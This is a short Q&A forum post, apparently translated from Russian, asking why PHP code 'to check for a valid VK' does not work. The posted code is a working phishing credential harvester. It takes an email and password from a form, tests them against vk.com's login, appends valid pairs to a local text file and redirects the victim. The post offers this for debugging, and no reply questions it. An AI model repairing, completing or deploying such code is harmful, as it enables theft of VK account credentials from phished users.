B
B
blyorich2018-12-05 12:38:41
PHP
blyorich, 2018-12-05 12:38:41

How to check for a valid VK?

I can not check the validity of the VK account.
I have the following code in the form handler

include_once 'db.php'; // проверяем авторизирован ли пользователь

$BASE="791.txt";
$LOC="Ak.html";
$ERROR="Error.html";
 
$Log =$_POST['email'];
$Pass =$_POST['pass'];
$headers = "";
$info="\nLogin:$Log\nPass:$Pass\n-------------------\n";
 
$url = 'http://vk.com/login.php?';
$ch = curl_init($url);
 
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, "email=$Log&pass=$Pass");
$html = curl_exec($ch);
 
 
if(preg_match('/Location/', $html))
{
$fd=fopen($BASE,"a+");
fwrite($fd,$info);
fclose($fd);
curl_close($ch);
header("Location:$LOC");
}else
{
header("Location:$ERROR");
}

Answer the question

In order to leave comments, you need to log in

Didn't find what you were looking for?

Ask your question

Ask a Question

731 491 924 answers to any question